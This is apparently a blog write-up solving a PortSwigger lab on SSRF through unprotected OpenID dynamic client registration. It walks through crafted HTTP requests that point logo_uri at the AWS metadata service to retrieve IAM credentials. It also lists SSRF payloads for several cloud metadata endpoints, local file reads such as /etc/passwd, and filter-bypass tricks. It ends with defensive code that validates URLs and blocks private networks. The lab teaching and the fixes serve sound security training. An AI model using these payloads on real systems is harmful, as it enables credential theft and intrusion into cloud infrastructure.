Goal:

• 🔍 Understand OpenID Connect dynamic client registration
• 🎯 Exploit unprotected client registration endpoint
• 🔓 Leverage SSRF via logo_uri property
• 💥 Access AWS metadata service at 169.254.169.254
• 🔑 Steal IAM security credentials
• 🎉 Complete lab

🧠 Concept Recap

SSRF via OpenID Dynamic Client Registration exploits OAuth providers that allow unauthenticated client registration combined with unsafe handling of client-provided URLs. When the OAuth service fetches resources like logos from client-supplied URIs without proper validation, attackers can force the server to make requests to internal resources, including cloud metadata endpoints.

📊 The Vulnerability

OpenID Connect Dynamic Registration:

OpenID Connect Specification:
└── RFC 7591: OAuth 2.0 Dynamic Client Registration Protocol
    └── Allows applications to register themselves programmatically
        └── POST /reg endpoint accepts client metadata
            └── Returns client_id and other credentials
Purpose:
├── Enable automated client onboarding
├── Reduce manual registration overhead
└── Support dynamic application ecosystems
Security Risk:
└── If unprotected: Anyone can register clients!
    └── If URL properties used unsafely: SSRF possible!

The Attack Chain:

SSRF Attack Flow:

1. Unprotected Registration
   └── POST /reg endpoint requires no authentication
       └── Accepts arbitrary client metadata
           └── Including logo_uri property

2. Unsafe URL Handling
   └── OAuth server fetches logo from logo_uri
       └── No validation of URL target
           └── Makes server-side HTTP request

3. SSRF Exploitation
   └── Set logo_uri to internal resource
       └── Server fetches from internal network
           └── Returns sensitive data in response

Attack Visualization:
┌──────────────────────────────────────────────────┐
│ 1. Attacker registers malicious client           │
│    POST /reg                                     │
│    {                                             │
│      "redirect_uris": ["https://evil.com"],      │
│      "logo_uri": "http://169.254.169.254/..."    │
│    }                                             │
└──────────────────────────────────────────────────┘
                     ↓
┌──────────────────────────────────────────────────┐
│ 2. OAuth server returns client_id                │
│    {                                             │
│      "client_id": "abc123xyz"                    │
│    }                                             │
└──────────────────────────────────────────────────┘
                     ↓
┌──────────────────────────────────────────────────┐
│ 3. Attacker requests logo                        │
│    GET /client/abc123xyz/logo                    │
└──────────────────────────────────────────────────┘
                     ↓
┌──────────────────────────────────────────────────┐
│ 4. OAuth server fetches logo_uri                 │
│    Server makes request:                         │
│    GET http://169.254.169.254/latest/meta-data   │
└──────────────────────────────────────────────────┘
                     ↓
┌──────────────────────────────────────────────────┐
│ 5. AWS metadata service responds                 │
│    {                                             │
│      "AccessKeyId": "ASIA...",                   │
│      "SecretAccessKey": "secret...",             │
│      "Token": "token..."                         │
│    }                                             │
└──────────────────────────────────────────────────┘
                     ↓
┌──────────────────────────────────────────────────┐
│ 6. OAuth server returns metadata to attacker     │
│    Response contains AWS credentials! 💥         │
└──────────────────────────────────────────────────┘

Why This Works:

Root Cause Chain:

1. Unprotected Registration Endpoint
   └── No authentication required
       └── Anyone can register clients
           └── First vulnerability: Access control

2. Unsafe URL Property Handling
   └── Server fetches external resources
       └── No URL validation or filtering
           └── Second vulnerability: SSRF

3. Internal Network Access
   └── OAuth server can reach internal resources
       └── Cloud metadata endpoint accessible
           └── Third vulnerability: Network segmentation

Combined Impact:
└── Unauthenticated attacker
    └── Registers malicious client
        └── Forces server to fetch internal resource
            └── Receives sensitive credentials
                └── Full AWS account compromise! 🎯

🛠️ Step-by-Step Attack

🔧 Step 1 — Access Lab and Login

1. 🌐 Click "Access the lab"
2. 👤 Click "My account" in top-right corner
3. 🔗 Click "Login with social media" button
4. ✏️ Enter credentials:

• Username: wiener
• Password: peter

5. ✅ Login successfully

What happens:

OAuth Flow Initiated:
├── Client app redirects to OAuth provider
├── User authenticates with wiener:peter
├── OAuth provider issues access token
├── User redirected back to client app
└── Now logged in as wiener

Note: This is just to understand the OAuth flow
└── The actual attack targets the OAuth provider itself!

🔍 Step 2 — Discover OpenID Configuration

Access OpenID configuration endpoint:

1. 🌐 In browser, navigate to:

https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/.well-known/openid-configuration

2. 📋 Or capture OAuth requests in Burp and extract OAuth server domain

Example URL construction:

Lab URL format:
https://YOUR-LAB-ID.web-security-academy.net

OAuth server format:
https://oauth-OAUTH-ID.oauth-server.net
OpenID configuration:
https://oauth-OAUTH-ID.oauth-server.net/.well-known/openid-configuration

Expected response:

{
  "issuer": "https://oauth-0a1b2c3d.oauth-server.net",
  "authorization_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/auth",
  "token_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/token",
  "jwks_uri": "https://oauth-0a1b2c3d.oauth-server.net/jwks",
  "registration_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/reg",
  "scopes_supported": ["openid", "profile", "email"],
  "response_types_supported": ["code", "token"],
  "grant_types_supported": ["authorization_code", "implicit"],
  "subject_types_supported": ["public"],
  "id_token_signing_alg_values_supported": ["RS256"]
}

Key finding:

✓ registration_endpoint: "/reg"

This indicates:
└── Dynamic client registration is enabled
    └── Endpoint: POST /reg
        └── Potential vulnerability if unprotected!

📡 Step 3 — Test Client Registration Endpoint

Open Burp Repeater and craft registration request:

POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 58

{
  "redirect_uris": [
    "https://example.com"
  ]
}

Request breakdown:

Required fields:
└── redirect_uris: Array of allowed callback URLs
    └── Required by OAuth specification
        └── Minimum: One valid URI

Optional fields (we'll use later):
├── logo_uri: URL to client's logo
├── client_name: Display name
├── contacts: Admin email addresses
└── Many others per RFC 7591

Send request and observe response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "client_id": "Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9",
  "client_secret": "iJ0kL1mN2oP3qR4sT5uV6wX7yZ8aB9cD",
  "client_id_issued_at": 1640000000,
  "client_secret_expires_at": 0,
  "redirect_uris": [
    "https://example.com"
  ],
  "token_endpoint_auth_method": "client_secret_basic",
  "grant_types": ["authorization_code"],
  "response_types": ["code"]
}

Success! Critical findings:

✓ Registration succeeded without authentication!
✓ Received client_id: Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9
✓ Received client_secret
✓ No CAPTCHA or rate limiting

Vulnerability confirmed:
└── Unprotected dynamic client registration
    └── Anyone can register OAuth clients!

🎨 Step 4 — Discover Logo Fetching Mechanism

Analyze OAuth authorization flow:

1. 🛠️ In Burp, examine OAuth authorization requests
2. 🔍 Look for logo display during consent screen

Locate logo endpoint:

GET /client/Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net

Expected response (if logo exists):

HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 1234

[Binary image data]

Or (if no logo):

HTTP/1.1 404 Not Found

Logo not found

Understanding the mechanism:

Logo Display Flow:

1. Client registers with logo_uri property
   └── POST /reg { "logo_uri": "https://client.com/logo.png" }

2. OAuth server stores logo_uri in database
   └── Associated with client_id

3. During authorization flow, consent page displays logo
   └── OAuth server fetches logo_uri
       └── GET /client/{client_id}/logo endpoint

4. Server-side request made to logo_uri
   └── Response returned to browser
       └── Displayed as client logo

SSRF opportunity:
└── If logo_uri points to internal resource
    └── Server fetches it during logo request
        └── Returns internal data! 🎯

🔬 Step 5 — Test SSRF with Burp Collaborator

Generate Burp Collaborator payload:

1. 🛠️ In Burp Repeater, right-click in request
2. 📋 Select "Insert Collaborator payload"
3. 📋 Copy generated URL: https://abc123xyz.oastify.com

Register client with Collaborator URL:

POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 145

{
  "redirect_uris": [
    "https://example.com"
  ],
  "logo_uri": "https://abc123xyz.oastify.com"
}

Response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "client_id": "M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1",
  "redirect_uris": ["https://example.com"],
  "logo_uri": "https://abc123xyz.oastify.com"
}

Copy new client_id:

New client_id: M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1

🎯 Step 6 — Trigger Logo Fetch

Request logo from newly registered client:

GET /client/M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net

Replace New client_id and Send request in Burp Repeater

📊 Step 7 — Verify SSRF in Collaborator

1. 🛠️ Open Burp → Burp Collaborator client
2. 📋 Click "Poll now"

Expected interaction:

Collaborator Interactions:

HTTP Request:
┌──────────────────────────────────────────────┐
│ GET / HTTP/1.1                               │
│ Host: abc123xyz.oastify.com                  │
│ User-Agent: Java/11.0.x                      │
│ Accept: text/html,image/*                    │
│ Connection: close                            │
└──────────────────────────────────────────────┘
Source IP: [OAuth server's public IP]
Timestamp: 2026-01-16 14:35:22 UTC
Analysis:
├── ✓ HTTP request received from OAuth server
├── ✓ User-Agent indicates Java-based server
├── ✓ SSRF confirmed!
└── ✓ Server fetches logo_uri without validation

SSRF vulnerability confirmed! 🎉

What this proves:
└── OAuth server makes HTTP requests to logo_uri
    └── No URL validation or whitelist
        └── Can target any URL the server can reach!
            └── Including internal network resources! 🎯

💥 Step 8 — Exploit SSRF to Access AWS Metadata

AWS EC2 Metadata Service:

AWS Instance Metadata Endpoint:
└── IP: 169.254.169.254
    └── Link-local address (only accessible from instance)
        └── Provides instance metadata
            └── Including IAM credentials!

Common paths:
├── /latest/meta-data/
├── /latest/meta-data/iam/security-credentials/
└── /latest/meta-data/iam/security-credentials/[role-name]/

Target for this lab:
└── http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
    └── Returns temporary AWS credentials for 'admin' role

Register client with AWS metadata URL:

POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 178

{
  "redirect_uris": [
    "https://example.com"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

Response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "client_id": "P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4",
  "redirect_uris": ["https://example.com"],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

Copy the new client_id:

Malicious client_id: P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4

🔑 Step 9 — Retrieve AWS Credentials

Request logo to trigger metadata fetch:

GET /client/P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net

Expected response:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 468

{
  "Code": "Success",
  "LastUpdated": "2026-01-16T14:30:15Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQXYZ123EXAMPLE456",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjEIz//////////wEaCXVzLWVhc3QtMSJHMEUCIQCj...",
  "Expiration": "2026-01-16T20:45:32Z"
}

Success! AWS credentials retrieved! 🎉

Retrieved credentials:
├── AccessKeyId: ASIAQXYZ123EXAMPLE456
├── SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
├── Session Token: IQoJb3JpZ2luX2VjEIz...
└── Expiration: 2026-01-16T20:45:32Z

These are temporary credentials for the 'admin' IAM role!
└── Can be used to access AWS services
    └── Full admin permissions! 💥

🎯 Step 10 — Submit Solution

1. 📋 Copy the SecretAccessKey value
2. 🌐 Click "Submit solution" button in lab
3. 📋 Paste: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
4. ✅ Click "Submit"

Lab solved! 🎉

┌─────────────────────────────────────┐
│  ✅ Congratulations!                │
│                                     │
│  You successfully exploited SSRF    │
│  via OpenID dynamic client          │
│  registration to steal AWS          │
│  credentials!                       │
│                                     │
│  Lab: SSRF via OpenID dynamic       │
│       client registration           │
│  Status: SOLVED ✓                   │
└─────────────────────────────────────┘

🔗 Complete Attack Chain

Step 1: Access lab and login (wiener:peter)
         └── Understand OAuth flow
         ↓
Step 2: Access OpenID configuration
         └── https://oauth-XXX.oauth-server.net/.well-known/openid-configuration
         └── Discover registration_endpoint: "/reg"
         ↓
Step 3: Test client registration
         └── POST /reg with minimal payload
         └── Receive client_id (unprotected!)
         ↓
Step 4: Discover logo fetching mechanism
         └── GET /client/{client_id}/logo
         ↓
Step 5: Test SSRF with Burp Collaborator
         └── Register client with logo_uri: https://COLLAB.oastify.com
         └── Request logo
         └── Verify interaction in Collaborator
         ↓
Step 6: Exploit SSRF for AWS metadata
         └── Register client with logo_uri: http://169.254.169.254/...
         └── Request logo
         └── Receive AWS credentials in response!
         ↓
Step 7: Submit SecretAccessKey
         └── Lab solved! 🎉

⚙️ Understanding the Vulnerability

OpenID Connect Dynamic Registration

RFC 7591 Specification:

Dynamic Client Registration Protocol:

Purpose:
└── Allow clients to register without manual intervention
    └── Programmatic OAuth client onboarding
        └── Scalable for large ecosystems

Registration Request:
POST /reg HTTP/1.1
Content-Type: application/json
{
  "redirect_uris": ["https://client.example.com/callback"],
  "token_endpoint_auth_method": "client_secret_basic",
  "grant_types": ["authorization_code", "refresh_token"],
  "response_types": ["code"],
  "client_name": "My Application",
  "logo_uri": "https://client.example.com/logo.png",
  "contacts": ["admin@example.com"],
  "scope": "openid profile email"
}

Response:
{
  "client_id": "generated_client_id",
  "client_secret": "generated_secret",
  "client_id_issued_at": 1640000000,
  ...all submitted metadata echoed back...
}
Security Considerations (from RFC):
├── SHOULD require authentication
├── SHOULD validate redirect_uris
├── MUST validate logo_uri if used
└── SHOULD rate limit registrations

This lab's vulnerability:

Actual implementation:
├── ✗ No authentication required
├── ✗ No redirect_uris validation
├── ✗ No logo_uri validation
└── ✗ No rate limiting

Result:
└── Anyone can register clients with malicious logo_uri
    └── SSRF attack possible! 💥

SSRF Attack Mechanism

How logo_uri becomes SSRF:

Server-Side Flow:

1. Client registration:
   POST /reg
   { "logo_uri": "http://169.254.169.254/..." }
   
   └── OAuth server stores logo_uri in database

2. Logo request:
   GET /client/{client_id}/logo
   
   └── OAuth server code (VULNERABLE):
   
   def get_client_logo(client_id):
       client = db.get_client(client_id)
       logo_uri = client.logo_uri
       
       # ✗ CRITICAL FLAW: No validation!
       response = http_client.get(logo_uri)
       
       return response.content, response.headers['Content-Type']

3. Server makes request to logo_uri:
   GET http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
   
   └── Returns to attacker's browser!

The vulnerability:
└── Server-side HTTP request to attacker-controlled URL
    └── No URL validation or whitelist
        └── Classic SSRF! 🎯

AWS Metadata Service Exploitation

Understanding 169.254.169.254:

AWS EC2 Instance Metadata Service (IMDS):

Purpose:
└── Provide instance with information about itself
    └── Instance ID, region, security groups
        └── IAM role credentials

Versions:
├── IMDSv1 (legacy): Direct HTTP GET requests
└── IMDSv2 (current): Requires session token

Common endpoints:
├── /latest/meta-data/
│   ├── instance-id
│   ├── local-ipv4
│   ├── public-ipv4
│   ├── ami-id
│   └── iam/security-credentials/
│       └── [role-name]/  ← AWS credentials!
│
├── /latest/user-data  ← Bootstrap scripts
└── /latest/dynamic/instance-identity/document

Security risk:
└── If SSRF exists, attacker can:
    ├── Enumerate IAM roles: GET /latest/meta-data/iam/security-credentials/
    ├── Retrieve credentials: GET /latest/meta-data/iam/security-credentials/admin/
    └── Use credentials to access AWS services!

IMDSv1 exploitation (this lab):
└── Simple HTTP GET to 169.254.169.254
    └── No additional headers required
        └── Returns JSON with temporary credentials

Temporary credentials format:
{
  "AccessKeyId": "ASIA...",        ← AWS access key
  "SecretAccessKey": "wJalr...",   ← Secret key (target!)
  "Token": "IQoJb3...",            ← Session token
  "Expiration": "2026-01-16..."    ← Valid for hours
}

Real-World Scenarios

Scenario 1: Cloud Provider Credential Theft

Vulnerable OAuth Provider on AWS:
├── Supports dynamic client registration
├── Fetches logo_uri without validation
└── Runs on EC2 with IAM role attached

Attack:
1. Register client with logo_uri: http://169.254.169.254/...
2. Retrieve AWS credentials
3. Use credentials to:
   ├── Access S3 buckets
   ├── Read RDS databases
   ├── Modify EC2 instances
   └── Full AWS account compromise! 💥

Impact: Complete infrastructure takeover

Scenario 2: Internal API Discovery

Vulnerable OAuth Provider in Corporate Network:
├── Can access internal services
├── logo_uri fetched without validation
└── Internal network not segmented

Attack:
1. Enumerate internal services:
   └── logo_uri: http://internal-api.local/
2. Access internal admin panels:
   └── logo_uri: http://admin.internal/api/users
3. Exfiltrate sensitive data
4. Pivot to other internal systems

Impact: Internal network compromise

Scenario 3: GCP Metadata Exploitation

Google Cloud Platform Metadata:
└── IP: 169.254.169.254
    └── Path: /computeMetadata/v1/

Attack payload:
POST /reg
{
  "logo_uri": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
  "redirect_uris": ["https://evil.com"]
}
Note: GCP requires header: "Metadata-Flavor: Google"
└── Some vulnerable implementations add this automatically!
Retrieved:
{
  "access_token": "ya29.c.Elp5...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

Impact: GCP service account token theft

🔬 Advanced Concepts

Other SSRF Targets

Internal Services:

Target: Internal admin panels
logo_uri: http://localhost:8080/admin
logo_uri: http://127.0.0.1:9000/manager
logo_uri: http://internal-api:3000/api/admin

Target: Database ports
logo_uri: http://localhost:5432/
logo_uri: http://db.internal:3306/

Target: Redis/Memcached
logo_uri: http://localhost:6379/
logo_uri: http://cache.internal:11211/

Cloud Metadata Services:

AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/iam/security-credentials/

AWS (IMDSv2 - requires token):
Harder to exploit, needs PUT request first

Google Cloud Platform:
http://metadata.google.internal/computeMetadata/v1/
Requires header: Metadata-Flavor: Google

Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Requires header: Metadata: true

Digital Ocean:
http://169.254.169.254/metadata/v1/

Oracle Cloud:
http://169.254.169.254/opc/v1/instance/

File Reading (if file:// supported):

logo_uri: file:///etc/passwd
logo_uri: file:///etc/hosts
logo_uri: file:///proc/self/environ
logo_uri: file:///var/www/html/config.php

Bypassing SSRF Protections

URL Encoding:

http://169.254.169.254
http://0xa9.0xfe.0xa9.0xfe  (hex encoding)
http://2852039166  (decimal encoding)
http://[::ffff:169.254.169.254]  (IPv6)

DNS Rebinding:

logo_uri: http://ssrf.example.com
└── DNS first resolves to: 1.2.3.4 (passes whitelist)
    └── Then resolves to: 169.254.169.254 (actual target)

Redirect-based:

logo_uri: http://attacker.com/redirect
└── HTTP 302 to http://169.254.169.254/...
    └── If server follows redirects

Open Redirects:

logo_uri: https://trusted-site.com/redirect?url=http://169.254.169.254/...

Other OpenID Properties for SSRF

Alternative URL properties:

{
  "logo_uri": "SSRF_TARGET",                ← Primary attack vector
  "client_uri": "SSRF_TARGET",              ← Client homepage
  "policy_uri": "SSRF_TARGET",              ← Privacy policy
  "tos_uri": "SSRF_TARGET",                 ← Terms of service
  "jwks_uri": "SSRF_TARGET",                ← JSON Web Key Set
  "sector_identifier_uri": "SSRF_TARGET"    ← Sector identifier
}

All potentially vulnerable if server fetches them!

🛡️ How to Fix (Secure Implementation)

Fix 1: Require Authentication for Registration

# ✅ SECURE VERSION

from functools import wraps
from flask import request, jsonify
def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        auth_header = request.headers.get('Authorization')
        
        if not auth_header:
            return jsonify({'error': 'Authentication required'}), 401
        
        # Verify API key or OAuth token
        if not verify_api_key(auth_header):
            return jsonify({'error': 'Invalid credentials'}), 403
        
        return f(*args, **kwargs)
    return decorated
@app.route('/reg', methods=['POST'])
@require_auth  # ✅ Authentication required!
def register_client():
    data = request.get_json()
    
    # Process registration
    client = create_client(data)
    
    return jsonify(client), 201
# Benefits:
# ✅ Only authenticated users can register clients
# ✅ Rate limiting per API key possible
# ✅ Audit trail of who registered what
# ✅ Reduces attack surface significantly

Fix 2: Validate and Sanitize logo_uri

# ✅ SECURE VERSION

import ipaddress
import urllib.parse
from urllib.parse import urlparse
ALLOWED_SCHEMES = ['https']  # Only HTTPS allowed
BLOCKED_NETWORKS = [
    ipaddress.ip_network('169.254.0.0/16'),    # AWS metadata
    ipaddress.ip_network('127.0.0.0/8'),       # Localhost
    ipaddress.ip_network('10.0.0.0/8'),        # Private
    ipaddress.ip_network('172.16.0.0/12'),     # Private
    ipaddress.ip_network('192.168.0.0/16'),    # Private
    ipaddress.ip_network('::1/128'),           # IPv6 localhost
    ipaddress.ip_network('fc00::/7'),          # IPv6 private
]
def validate_url(url):
    """Validate URL to prevent SSRF"""
    
    try:
        parsed = urlparse(url)
        
        # ✅ Check scheme
        if parsed.scheme not in ALLOWED_SCHEMES:
            raise ValueError(f'Scheme {parsed.scheme} not allowed')
        
        # ✅ Resolve hostname to IP
        hostname = parsed.hostname
        if not hostname:
            raise ValueError('Invalid hostname')
        
        # Get IP address
        import socket
        ip_str = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(ip_str)
        
        # ✅ Check against blocked networks
        for network in BLOCKED_NETWORKS:
            if ip in network:
                raise ValueError(f'IP {ip} is in blocked network')
        
        # ✅ Additional checks
        if hostname == 'metadata.google.internal':
            raise ValueError('Blocked hostname')
        
        if hostname.endswith('.internal'):
            raise ValueError('Internal domains not allowed')
        
        return True
        
    except Exception as e:
        logger.warning(f'URL validation failed: {e}')
        return False
@app.route('/reg', methods=['POST'])
def register_client():
    data = request.get_json()
    
    logo_uri = data.get('logo_uri')
    
    if logo_uri:
        # ✅ CRITICAL: Validate URL before storing
        if not validate_url(logo_uri):
            return jsonify({
                'error': 'Invalid logo_uri',
                'description': 'URL validation failed'
            }), 400
    
    client = create_client(data)
    return jsonify(client), 201
# Benefits:
# ✅ Only HTTPS allowed
# ✅ Blocks private IP ranges
# ✅ Blocks cloud metadata endpoints
# ✅ Prevents DNS rebinding (validates resolved IP)
# ✅ Blocks internal domains

👏 If this helped you — clap it up (you can clap up to 50 times!)

🔔 Follow for more writeups — dropping soon

🔗 Share with your pentest team

💬 Drop a comment